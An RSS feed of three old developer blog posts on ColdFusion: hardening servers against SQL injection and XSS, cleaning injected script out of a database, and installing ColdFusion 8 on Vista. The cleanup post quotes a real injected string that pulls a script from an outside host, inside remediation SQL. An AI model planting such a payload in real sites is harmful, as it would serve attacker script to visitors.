<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Simon Whatley &#187; how to</title>
	<atom:link href="http://www.simonwhatley.co.uk/tag/how-to/feed" rel="self" type="application/rss+xml" />
	<link>http://www.simonwhatley.co.uk</link>
	<description>The opposite of every great idea is another great idea</description>
	<lastBuildDate>Wed, 02 Nov 2011 09:28:34 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>How to Protect Your Website from a Malicious Attack</title>
		<link>http://www.simonwhatley.co.uk/how-to-protect-your-website-from-a-malicious-attack</link>
		<comments>http://www.simonwhatley.co.uk/how-to-protect-your-website-from-a-malicious-attack#comments</comments>
		<pubDate>Mon, 18 Aug 2008 12:54:20 +0000</pubDate>
		<dc:creator>Simon</dc:creator>
				<category><![CDATA[Development]]></category>
		<category><![CDATA[Adobe]]></category>
		<category><![CDATA[Application.cfc]]></category>
		<category><![CDATA[Application.cfm]]></category>
		<category><![CDATA[attack]]></category>
		<category><![CDATA[best practice]]></category>
		<category><![CDATA[Business]]></category>
		<category><![CDATA[cfquery]]></category>
		<category><![CDATA[cfqueryparam]]></category>
		<category><![CDATA[ColdFusion]]></category>
		<category><![CDATA[ColdFusion Administrator]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[database server]]></category>
		<category><![CDATA[Databases]]></category>
		<category><![CDATA[encryption]]></category>
		<category><![CDATA[firewall]]></category>
		<category><![CDATA[how to]]></category>
		<category><![CDATA[howto]]></category>
		<category><![CDATA[Java]]></category>
		<category><![CDATA[Manitoba]]></category>
		<category><![CDATA[Mark Kruger]]></category>
		<category><![CDATA[prevention]]></category>
		<category><![CDATA[protection]]></category>
		<category><![CDATA[raw processing]]></category>
		<category><![CDATA[RDBMS]]></category>
		<category><![CDATA[script protect]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[software releases]]></category>
		<category><![CDATA[SQL]]></category>
		<category><![CDATA[SQL Injection]]></category>
		<category><![CDATA[url]]></category>
		<category><![CDATA[variables]]></category>
		<category><![CDATA[vulnerability]]></category>
		<category><![CDATA[Web Application Hacker]]></category>
		<category><![CDATA[web code]]></category>
		<category><![CDATA[Web Security]]></category>
		<category><![CDATA[Web Server]]></category>
		<category><![CDATA[Web Servers]]></category>
		<category><![CDATA[webserver]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://www.simonwhatley.co.uk/?p=809</guid>
		<description><![CDATA[Every seasoned developer will know that protecting your website from a hacker is a top priority, whether for your own reputation or for maintaining your company's reputation and log-term revenue prospects.]]></description>
			<content:encoded><![CDATA[<p>Every seasoned developer will know that protecting your website from a hacker is a top priority, whether for your own reputation or for maintaining your company&#8217;s reputation and log-term revenue prospects.</p>
<p><strong>Why should you be worried about security?</strong></p>
<p>The Web is changing many of the assumptions that people have historically made about computer security and publishing. As the Internet makes it possible for web servers to publish information to millions of users, it also makes it possible for computer hackers, crackers, criminals, vandals, and other &#8220;bad guys&#8221; to break into the very computers on which the web servers are running. Once subverted, web servers can be used by attackers as a launching point for conducting further attacks against users and organisations.</p>
<p>It is considerably more expensive and more time-consuming to recover from a security incident than to take preventative measures ahead of time.</p>
<p>This blog post started on the premise of protecting your website from a <a href="http://en.wikipedia.org/wiki/SQL_injection" title="Wikipedia: SQL Injection" target="_blank" rel="nofollow">SQL Injection</a> Attack. However, it is also appropriate to discuss, at a relatively high level, how to secure your server architecture and applications.</p>
<h3>Server-Level Security</h3>
<ul>
<li>Separate web- and database-servers on to different physical machines.</li>
<li>Secure the web- and database-servers with traditional techniques. Only authorised accounts should have the capabilities to run tasks on the machine. That means not giving admin-rights to the user account.</li>
<li>Keep servers up-to-date with the latest patches and software releases.</li>
<li>Minimise the number of services running on the server. This means limiting the services to only those required for the web- or database-servers to function.</li>
<li>Secure information in transit between servers. This may mean physically securing the network to prevent evesdropping via encryption or obfuscating the data amongst innocuous &#8216;noise&#8217;.</li>
<li>Secure the database server behind a firewall.</li>
</ul>
<p><script type="text/javascript"><!--
google_ad_client = "pub-6475233631580417";
/* 468x60 Basic */
google_ad_slot = "7117418273";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
<h3>Application-Level Security</h3>
<ul>
<li>Separate ColdFusion, the webserver and database server user accounts. They should never be under the same system account.</li>
<li>Create a database user specifically for your ColdFusion datasource and restrict it to only the activities required for the application. The user should not have database-owner rights, access to databases not relating to the application or access to the system tables.</li>
<li>Revoke privileges in the ColdFusion datasource definition to prevent the SQL commands <code>CREATE</code>, <code>DROP</code>, <code>GRANT</code>, <code>REVOKE</code> and <code>ALTER</code>.</li>
<li>General settings in the ColdFusion Administrator:
<ul>
<li>Check the <em>Disable access to internal ColdFusion Java components</em> option.</li>
<li>Check the <em>Enable Global Script Protection</em> option.</li>
<li>Add a <em>Missing Template Handler</em>.</li>
<li>Add a <em>Site-wide Error Handler</em>.</li>
<li>Reduce the <em>Maximum size of post data</em> from 100<abbr title="megabytes">MB</abbr>.</li>
<li>Enable <em>Timeout Requests</em>, and set to 60 seconds or less.</li>
<li>Disable <em>Robust Exception Handling</em> on production servers.</li>
</ul>
</li>
</ul>
<h3>Code-Level Security</h3>
<ul>
<li>Application.cfc &#8211; Set the <code>scriptProtect</code> Application variable to <code>true</code> to enable application-wide cross-site script protection.
</li>
<li>CFQueryParam &#8211; This tag, importantly, verifies the data type of a query parameter and, for <abbr title="Relational Database Management Systems">RDBMS</abbr>s that support bind variables, enables ColdFusion to use bind variables in the <acronym title="Structured Query Language">SQL</acronym> statement. Bind variable usage enhances performance when executing a <code>cfquery</code> statement multiple times.

<div class="wp_syntax"><div class="code"><pre class="cfm" style="font-family:monospace;"><span style="color: #333333;"><span style="color: #800000;">&lt;cfquery</span> <span style="color: #0000ff;">name</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;qry&quot;</span> <span style="color: #0000ff">datasource</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;#APPLICATION.dsn#&quot;</span><span style="color: #800000;">&gt;</span></span>
SELECT column1, column2, column3
FROM tableName
WHERE column4 = <span style="color: #333333;"><span style="color: #800000;">&lt;cfqueryparam</span> <span style="color: #0000ff;">value</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;#variable1#&quot;</span> <span style="color: #0000ff">cfsqltype</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;cf_sql_bit&quot;</span> <span style="color: #0000ff;">/</span><span style="color: #800000;">&gt;</span></span>
AND column5 LIKE <span style="color: #333333;"><span style="color: #800000;">&lt;cfqueryparam</span> <span style="color: #0000ff;">value</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;%#variable2#%&quot;</span> <span style="color: #0000ff">cfsqltype</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;cf_sql_varchar&quot;</span> <span style="color: #0000ff;">maxlength</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;200&quot;</span> <span style="color: #0000ff;">/</span><span style="color: #800000;">&gt;</span></span>
AND column6 IN (<span style="color: #333333;"><span style="color: #800000;">&lt;cfqueryparam</span> <span style="color: #0000ff;">value</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;#variable3#&quot;</span> <span style="color: #0000ff">cfsqltype</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;cf_sql_integer&quot;</span> <span style="color: #0000ff">list</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;true&quot;</span> <span style="color: #0000ff;">/</span><span style="color: #800000;">&gt;</span></span>)
<span style="color: #333333;"><span style="color: #800000;">&lt;/cfquery&gt;</span></span></pre></div></div>

<p>There are limitations to the use of the <code>cfqueryparam</code> tag. In ColdFusion 7 for example, you cannot use them in queries using the <code>cachedWithin</code> attribute. Similarly, they cannot be used in <code>ORDER BY</code> clauses, although the use of conditional logic should resolve the need for order by variables.
</li>
<li>Functions &#8211; As a rule of thumb, validate <em>all</em> the data being passed into a query prior to it being used. ColdFusion MX 7 saw the introduction of the <code>isValid()</code> function. This function tests whether a value meets a validation or data type rule and can be used to replace a large number of type-specific functions such as <code>isArray()</code>, <code>isBinary()</code>, <code>isBoolean()</code>, <code>isDate()</code>, <code>isNumeric()</code> and <code>isSimpleValue()</code> etc.
</li>
<li>Stored Procedures &#8211; I often favour the use of stored procedures over standard queries. Not only do they add an additional level of performance, they provide an additional level of security; ColdFusion does not do any raw processing of queries in the web code, it simply passes variables down the wire to the database server.</li>
</ul>
<h3>Additional Resources</h3>
<ul>
<li>
<a href="http://www.amazon.com/Web-Security-Privacy-Commerce-2nd/dp/0596000456/ref=pd_bbs_sr_1?ie=UTF8&#038;s=books&#038;qid=1218663002&#038;sr=8-1" title="Amazon: Web Security, Privacy and Commerce" target="_blank" rel="nofollow">Web Security, Privacy and Commerce</a></li>
<li>O&#8217;Reilly&#8217;s <a href="http://www.amazon.com/Web-Application-Hackers-Handbook-Discovering/dp/0470170778/ref=pd_bbs_sr_1?ie=UTF8&#038;s=books&#038;qid=1218663073&#038;sr=1-1" title="Amazon: The Web Application Hacker's Handbook" target="_blank" rel="nofollow">The Web Application Hacker&#8217;s Handbook</a></li>
<li>Adobe&#8217;s whitepaper &#8211; <a href="http://www.adobe.com/devnet/coldfusion/articles/dev_security/coldfusion_security_cf8.pdf" title="Adobe: ColdFusion 8 Security PDF" target="_blank" rel="nofollow">ColdFusion 8 Developer Security Guidlines</a> (<abbr title="Portable Document Format">PDF</abbr>, 281k)</li>
<li>Adobe&#8217;s whitepaper &#8211; <a href="http://www.adobe.com/devnet/coldfusion/articles/dev_security/coldfusion_security_cf7.pdf" title="Adobe: ColdFusion 7 Security PDF" target="_blank" rel="nofollow">ColdFusion 7 Developer Security Guidlines</a> (<abbr title="Portable Document Format">PDF</abbr>, 217k)</li>
<li>Adobe DevNet &#8211; <a href="http://www.adobe.com/devnet/coldfusion/articles/stored_procs.html" title="Learning Stored Procedure Basics in ColdFusion 8" target="_blank" rel="nofollow">Learning Stored Procedure Basics in ColdFusion 8</a></li>
<li>0&#215;000000 # The Hacker Webzine&#8217;s article on <a href="http://www.0x000000.com/?i=610" title="The Hacker Webzine: Attacking ColdFusion" target="_blank" rel="nofollow">Attacking ColdFusion</a></li>
<li>Three part series from Mark Kruger (ColdFusion Muse) &#8211; <a title="Query String with cfqueryparam" href="http://www.coldfusionmuse.com/index.cfm/2008/7/21/query-string-with-cfqueryparam" target="_blank" rel="nofollow">Part 1</a>, <a title="Using CAST and ASCII" href="http://www.coldfusionmuse.com/index.cfm/2008/7/18/Injection-Using-CAST-And-ASCII" target="_blank" rel="nofollow">Part 2</a>, <a title="Using Order By" href="http://www.coldfusionmuse.com/index.cfm/2008/7/21/SQL-injection-using-order-by" target="_blank" rel="nofollow">Part 3</a></li>
<li>Brad Wood&#8217;s article on <a href="http://www.codersrevolution.com/index.cfm/2008/7/26/cfqueryparam-its-not-just-for-security-also-when-NOT-to-use-it" title="CFQueryParam is not just for security - When not to use it" target="_blank" rel="nofollow">CFQueryParam is not just for security</a>.</li>
</ul>
<p><script type="text/javascript"><!--
google_ad_client = "pub-6475233631580417";
/* 468x60 Basic */
google_ad_slot = "7117418273";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.simonwhatley.co.uk/how-to-protect-your-website-from-a-malicious-attack/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>How to Fix a SQL Injection Attack</title>
		<link>http://www.simonwhatley.co.uk/how-to-fix-a-sql-injection-attack</link>
		<comments>http://www.simonwhatley.co.uk/how-to-fix-a-sql-injection-attack#comments</comments>
		<pubDate>Fri, 15 Aug 2008 15:33:00 +0000</pubDate>
		<dc:creator>Simon</dc:creator>
				<category><![CDATA[Development]]></category>
		<category><![CDATA[attack]]></category>
		<category><![CDATA[backup]]></category>
		<category><![CDATA[ColdFusion]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[database server]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[how to]]></category>
		<category><![CDATA[howto]]></category>
		<category><![CDATA[programatically]]></category>
		<category><![CDATA[restore]]></category>
		<category><![CDATA[rollback]]></category>
		<category><![CDATA[script]]></category>
		<category><![CDATA[Scripting]]></category>
		<category><![CDATA[SQL]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://www.simonwhatley.co.uk/?p=814</guid>
		<description><![CDATA[In my previous post, What is a SQL Injection Attack, I gave a brief overview of SQL injection and Cross-Site Scripting (XSS), primarily with regard to websites. In the example given, we saw that an attack could take the form of a ‘hacked’ URL which contained either a literal SQL statement, or a hexadecimal string that could be interpreted by an insecure SQL database server.]]></description>
			<content:encoded><![CDATA[<p>In my previous post, <a href="/what-is-a-sql-injection-attack">What is a SQL Injection Attack</a>, I gave a brief overview of <acronym title="Structured Query Language">SQL</acronym> injection and Cross-Site Scripting (<abbr title="Cross-Site Scripting">XSS</abbr>), primarily with regard to websites. In the example given, we saw that an attack could take the form of a &#8216;hacked&#8217; URL which contained either a literal <acronym title="Structured Query Language">SQL</acronym> statement, or a hexadecimal string that could be interpreted by an insecure <acronym title="Structured Query Language">SQL</acronym> database server.</p>
<p>Which ever method is used to inject <acronym title="Structured Query Language">SQL</acronym> and ultimately dangerous scripts into the database, we need to know how to deal with the problem and &#8216;roll it back&#8217; to a safe state.</p>
<p>If you have an up-to-date backup of the database prior to the attack, then restoring the database is the best course of action. If this is not the case, apart from giving yourself a kick for not implementing a backup policy, it is possible to programatically remove the injected string or code using a set of relatively-simple SQL queries.</p>
<p><script type="text/javascript"><!--
google_ad_client = "pub-6475233631580417";
/* 468x60 Basic */
google_ad_slot = "7117418273";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
<h3>Programatically Replace Injected Code</h3>
<p>Fortunately, by the very nature of an <abbr title="Cross-Site Scripting">XSS</abbr> attack, code is appended to the data already in the database &#8212; rather than replacing it &#8212; which means we simply need to remove the appended content.</p>
<p>Taking a real-world example, below is string that was injected into the database:</p>

<div class="wp_syntax"><div class="code"><pre class="txt" style="font-family:monospace;">&quot;&gt;&lt;/title&gt;&lt;script src=&quot;http://1.verynx.cn/w.js&quot;&gt;&lt;/script&gt;&lt;!--</pre></div></div>

<p>When rendered by a standard <acronym title="Hyper-Text Markup Language">HTML</acronym> page, the string is either displayed to the user agent, or the JavaScript file is called by the page, causing a security threat.</p>
<p>With the example above, we can use the following script to recurse through and create update scripts for every &#8216;infected&#8217; table and column (of the type <code>char</code>, <code>nchar</code>, <code>varchar</code> and <code>nvarchar</code>), in the database.</p>

<div class="wp_syntax"><div class="code"><pre class="txt" style="font-family:monospace;">SELECT 'UPDATE [' + table_name + ']
SET ' + column_name + ' = REPLACE(CAST(' + column_name + ' as varchar(8000)), ''&quot;&gt;&lt;/title&gt;&lt;script src=&quot;http://1.verynx.cn/w.js&quot;&gt;&lt;/script&gt;&lt;!--'', '''')
WHERE ' + column_name + ' LIKE ''%&quot;&gt;&lt;/title&gt;&lt;script src=&quot;http://1.verynx.cn/w.js&quot;&gt;&lt;/script&gt;&lt;!--%'''
FROM information_schema.columns
WHERE (character_maximum_length is not NULL)
AND ([table_name] not like 'dt%')
AND ([table_name] not like 'sys%')</pre></div></div>

<p>The resultset then produces update statements that look like the following (I have masked the actual table and column names):</p>

<div class="wp_syntax"><div class="code"><pre class="txt" style="font-family:monospace;">UPDATE [tableName]
SET columnName = REPLACE(CAST(columnName AS VARCHAR(8000)), '&quot;&gt;&lt;/title&gt;&lt;script src=&quot;http://1.verynx.cn/w.js&quot;&gt;&lt;/script&gt;&lt;!--', '')
WHERE columnName LIKE '%&quot;&gt;&lt;/title&gt;&lt;script src=&quot;http://1.verynx.cn/w.js&quot;&gt;&lt;/script&gt;&lt;!--%'</pre></div></div>

<p>These update statements can be copied into and run in a program such as Query Analyser for Microsoft SQL Server 2000, or SQL Server Management Studio for Microsoft SQL 2005.</p>
<p>If the actual code that was injected is different, simply change the above code to suit your needs.</p>
<p><del datetime="2008-10-01T15:33:30+00:00">You can download the SQL rollback script for your own needs.</del></p>
<h3>Prevent a Successful Attack</h3>
<p>As the popular idiom goes <q>prevention is better than a cure</q>, I will discuss in my next post how to mitigate against <acronym title="Structured Query Language">SQL</acronym> Injection attacks &#8212; on ColdFusion-based websites &#8212; before they become a problem.</p>
<p><script type="text/javascript"><!--
google_ad_client = "pub-6475233631580417";
/* 468x60 Basic */
google_ad_slot = "7117418273";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.simonwhatley.co.uk/how-to-fix-a-sql-injection-attack/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Installing ColdFusion 8 on Vista</title>
		<link>http://www.simonwhatley.co.uk/installing-coldfusion-8-on-vista</link>
		<comments>http://www.simonwhatley.co.uk/installing-coldfusion-8-on-vista#comments</comments>
		<pubDate>Mon, 12 Nov 2007 09:22:52 +0000</pubDate>
		<dc:creator>Simon</dc:creator>
				<category><![CDATA[Development]]></category>
		<category><![CDATA[101]]></category>
		<category><![CDATA[Adobe]]></category>
		<category><![CDATA[Apache]]></category>
		<category><![CDATA[Application Servers]]></category>
		<category><![CDATA[ColdFusion]]></category>
		<category><![CDATA[help]]></category>
		<category><![CDATA[how to]]></category>
		<category><![CDATA[howto]]></category>
		<category><![CDATA[installation]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[non trivial]]></category>
		<category><![CDATA[version 8]]></category>
		<category><![CDATA[Vista]]></category>
		<category><![CDATA[Web Servers]]></category>

		<guid isPermaLink="false">http://www.simonwhatley.co.uk/?p=333</guid>
		<description><![CDATA[A few months ago I posted an article on Installing Apache on Vista, and it proved to be extremely popular. It appears that I was not the only one who found it a non trivial matter.

Now it is the turn of ColdFusion 8. ColdFusion 8 as we well know is the latest and greatest incarnation of the ColdFusion platform from Adobe. It has a lot of great new features such as cfimage, cfzip, cfexchange, some contentious features such as cfthread and cfinterface, and some not-so-necessarily-cool new â€œWeb 2.0â€³ features such as cffeed and cfajax.]]></description>
			<content:encoded><![CDATA[<p>A few months ago I posted an article on <a href="http://www.simonwhatley.co.uk/installing-apache-on-vista" title="Installing Apache on Vista">Installing Apache on Vista</a>, and it proved to be extremely popular. It appears that I was not the only one who found it a non trivial matter.</p>
<p>Now it is the turn of ColdFusion 8. ColdFusion 8 as we well know is the latest and greatest incarnation of the ColdFusion platform from Adobe. It has a lot of great new features such as cfimage, cfzip, cfexchange, some contentious features such as cfthread and cfinterface, and some not-so-necessarily-cool new &#8220;Web 2.0&#8243; features such as cffeed and cfajax. But since this article isn&#8217;t about any of these, I better stick to the topic.</p>
<p>Like my article on installing Apache, installing ColdFusion on Vista is again not a trivial matter and involves only what can colloquially described as a &#8220;shed load of steps&#8221;. I&#8217;m probably being a little harsh towards ColdFusion as many of the problems I encountered were more closely related to Apache than ColdFusion.</p>
<p>NB: This article will assume that you have pre-installed Apache (although you could use <acronym title="Internet Information Service">IIS</acronym> if so compelled), turned off Vista&#8217;s User Account Control (<acronym title="User Account Control">UAC</acronym>), disabled any firewalls you have installed and finally, but most importantly, <a href="http://www.adobe.com/products/coldfusion/" title="Adobe ColdFusion Product Page" target="_blank" rel="nofollow">you have downloaded ColdFusion from the Adobe website</a>.</p>
<p>Let us begin.</p>
<ol>
<li>
Find where you downloaded your copy of the <strong>ColdFusion Installer</strong>. Right-click on the executable file and specify to &#8220;Run as Administrator&#8221;. The installer should start and you should see the screenshot below. Select &#8220;English&#8221;, or which ever your language preference is, and Click &#8220;OK&#8221;.</p>
<p><img src="http://www.simonwhatley.co.uk/blog/wp-content/uploads/2007/11/cf8-install-step-01.png" alt="1. ColdFusion Installer" /></p>
</li>
<li>
The <strong>ColdFusion Installation</strong> progress screen may or may not be briefly displayed.</p>
<p><img src="http://www.simonwhatley.co.uk/blog/wp-content/uploads/2007/11/cf8-install-step-02.png" alt="2. ColdFusion Installation Progress" /></p>
</li>
<li>
The <strong>Introduction</strong> screen will be displayed. Click &#8220;Next&#8221;.</p>
<p><img src="http://www.simonwhatley.co.uk/blog/wp-content/uploads/2007/11/cf8-install-step-03.png" alt="3. Introduction Screen" /></p>
</li>
<li>
The <strong>License Agreement</strong> screen will then be displayed. Agree to the &#8220;I accept the terms of the License Agreement&#8221; and Click &#8220;Next&#8221;.</p>
<p><img src="http://www.simonwhatley.co.uk/blog/wp-content/uploads/2007/11/cf8-install-step-04.png" alt="4. License Agreement" /></p>
</li>
<li>
The <strong>Install Type</strong> screen is then displayed. You don&#8217;t need to enter a serial number unless you are installing this into a production environment. Check &#8220;Developer Edition&#8221; and Click &#8220;Next&#8221;.</p>
<p><img src="http://www.simonwhatley.co.uk/blog/wp-content/uploads/2007/11/cf8-install-step-05.png" alt="5. Install Type" /></p>
</li>
<li>
The <strong>Installer Configuration</strong> screen should be displayed. Since we already have Apache 2.x installed as our web server (if you want to use <acronym title="Internet Information Service">IIS</acronym>, you will need to skip steps 11.1 and 11.2), check &#8220;Server configuration&#8221; and Click &#8220;Next&#8221;.</p>
<p><img src="http://www.simonwhatley.co.uk/blog/wp-content/uploads/2007/11/cf8-install-step-06.png" alt="6. Installer Configuration" /></p>
</li>
<li>
The <strong>Sub-component Installation</strong> screen should be displayed. This is one of the noticeable changes from version 7 to version 8 of ColdFusion. Hovering your mouse over each sub-component will describe in more detail what each sub-component does. If you plan to integrate .NET (especially with WebServices) or carry out Flex development then make sure that the &#8220;.NET Integration Services&#8221; and &#8220;LiveCycle Data Services&#8221; items are checked. For simplicities sake, check everything and Click &#8220;Next&#8221;.</p>
<p><img src="http://www.simonwhatley.co.uk/blog/wp-content/uploads/2007/11/cf8-install-step-07.png" alt="7. Sub-component Installation" /></p>
</li>
<li>
The <strong>Select Installation Directory</strong> screen should be displayed. The default directory for a Serverconfiguration will be &#8220;C:\ColdFusion8&#8243; on a Windows machine. Click &#8220;Next&#8221; to continue.</p>
<p><img src="http://www.simonwhatley.co.uk/blog/wp-content/uploads/2007/11/cf8-install-step-08.png" alt="8. Select Installation Directory" /></p>
</li>
<li>
As you have chosen to install LiveCycle Data Services, you will need to agree to a further <strong>Licence Agreement</strong> screen. Click &#8220;Next&#8221;.</p>
<p><img src="http://www.simonwhatley.co.uk/blog/wp-content/uploads/2007/11/cf8-install-step-09.png" alt="9. Licence Agreement (LiveCycle Data Services)" /></p>
</li>
<li>
The <strong>Adobe Livecycle Data Services ES Installation</strong> screen is displayed. You will need to enter a serial number into this screen for production environments. Since I am going to assume a development environment, simply click &#8220;Next&#8221;.</p>
<p><img src="http://www.simonwhatley.co.uk/blog/wp-content/uploads/2007/11/cf8-install-step-10.png" alt="10. Adobe Livecycle Data Services ES Installation" /></p>
</li>
<li>
The <strong>Configure Web Servers / Websites</strong> screen should be displayed. This is the point where we want to connect ColdFusion with Apache. By default &#8220;Configure web server connector for ColdFusion&#8221; is checked. We need to add Apache so Click &#8220;Add&#8221;.</p>
<p><img src="http://www.simonwhatley.co.uk/blog/wp-content/uploads/2007/11/cf8-install-step-11.png" alt="11. Configure Web Servers / Websites" /></p>
<ol>
<li>The <strong>Add Web Server Configuration</strong> screen is displayed, choose Apache from the drop-down.</li>
<li>
Add the relevant Apache directory paths, e.g.:</p>
<p><img src="http://www.simonwhatley.co.uk/blog/wp-content/uploads/2007/11/cf8-install-step-11-2.png" alt="11-2. Add Web Server Configuration (Directory Paths)" /></p>
<ol>
<li>The <strong>Configuration Directory</strong> C:\Program Files\Apache Software Foundation\Apache2.2\conf</li>
<li>The <strong>Server Binary Directory</strong> C:\Program Files\Apache Software Foundation\Apache2.2\bin\httpd.exe</li>
</ol>
</li>
</ol>
</li>
<li>
The <strong>Review Configured Web Server</strong> screen is then displayed. If all the settings are correct, click &#8220;Next&#8221;.</p>
<p><img src="http://www.simonwhatley.co.uk/blog/wp-content/uploads/2007/11/cf8-install-step-12.png" alt="12. Review Configured Web Server" /></p>
</li>
<li>
The <strong>Choose Adobe ColdFusion 8 Administrator Location</strong> screen should be displayed. Since we are using Apache for our web server then the default Directory should be pointing to C:\Program Files\Apache Software Foundation\Apache2.2\htdocs. You can alternatively point this to C:\WebRoot or wherever you have set up your web project files. Select &#8220;Next&#8221;.</p>
<p><img src="http://www.simonwhatley.co.uk/blog/wp-content/uploads/2007/11/cf8-install-step-13.png" alt="13. Choose Adobe ColdFusion 8 Administrator Location" /></p>
</li>
<li>
The <strong>Adminstrator Password</strong> screen is then displayed, prompting for a password. Enter one, remember it (!!) and click &#8220;Next&#8221;.</p>
<p><img src="http://www.simonwhatley.co.uk/blog/wp-content/uploads/2007/11/cf8-install-step-14.png" alt="14. Adminstrator Password" /></p>
</li>
<li>
The <strong>Enable <acronym title="Remote Development Service">RDS</acronym> &amp; Password</strong> screen is then displayed. If you want to use this, check the box and provide an additional password. Don&#8217;t use <acronym title="Remote Development Service">RDS</acronym> in a production environment. Click &#8220;Next&#8221;.</p>
<p><img src="http://www.simonwhatley.co.uk/blog/wp-content/uploads/2007/11/cf8-install-step-15.png" alt="15. Enable RDS &amp; Password" /></p>
</li>
<li>
The <strong>Pre-Installation Summary</strong> screen is then displayed, detailing your configuration. This is your last chance to go back and make changes. If everything is OK, click &#8220;Install&#8221;.</p>
<p><img src="http://www.simonwhatley.co.uk/blog/wp-content/uploads/2007/11/cf8-install-step-16.png" alt="16. Pre-Installation Summary" /></p>
</li>
<li>
The <strong>Installing Adobe ColdFusion 8</strong> screen is then displayed, showing a host of marketing messages.</p>
<p><img src="http://www.simonwhatley.co.uk/blog/wp-content/uploads/2007/11/cf8-install-step-17.png" alt="17. Installing Adobe ColdFusion 8" /></p>
</li>
<li>
The <strong>Please Wait</strong> screen is displayed, and be prepared to wait!</p>
<p><img src="http://www.simonwhatley.co.uk/blog/wp-content/uploads/2007/11/cf8-install-step-18.png" alt="18. Please Wait" /></p>
</li>
<li>
The <strong>Installation Complete</strong> screen is finally displayed and indeed the installation is complete. Now for the configuration! Click &#8220;Done&#8221;.</p>
<p><img src="http://www.simonwhatley.co.uk/blog/wp-content/uploads/2007/11/cf8-install-step-19.png" alt="19. Installation Complete" /></p>
</li>
<li>
Configuration and Settings Migration Wizard. Open up a browser and enter the url http://localhost/CFIDE/administrator/index.cfm to begin the <strong>ColdFusion 8 Configuration and Settings Migration Wizard</strong>. Enter your password and Click &#8220;Login&#8221;.</p>
<p><img src="http://www.simonwhatley.co.uk/blog/wp-content/uploads/2007/11/cf8-install-step-20.png" alt="20. Configuration and Settings Migration Wizard" /></p>
</li>
<li>
ColdFusion will now begin <strong>Configuring Server</strong>, which could take any number of minutes to complete.</p>
<p><img src="http://www.simonwhatley.co.uk/blog/wp-content/uploads/2007/11/cf8-install-step-21.png" alt="21. Configuring Server" /></p>
</li>
<li>
Once the <strong>Configuration Complete</strong> is displayed, you can login to the ColdFusion Administrator and start working, or playing, with the new interface, settings and Server Monitor.</p>
<p><img src="http://www.simonwhatley.co.uk/blog/wp-content/uploads/2007/11/cf8-install-step-22.png" alt="22. Configuration Complete" /></p>
</li>
</ol>
<p>So, that only 22 steps! That may be the longest installation process you may go through, but the power now at your finger tips to produce hugely interactive websites is a compelling reason why to choose this version of ColdFusion, or indeed ColdFusion over other products.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.simonwhatley.co.uk/installing-coldfusion-8-on-vista/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

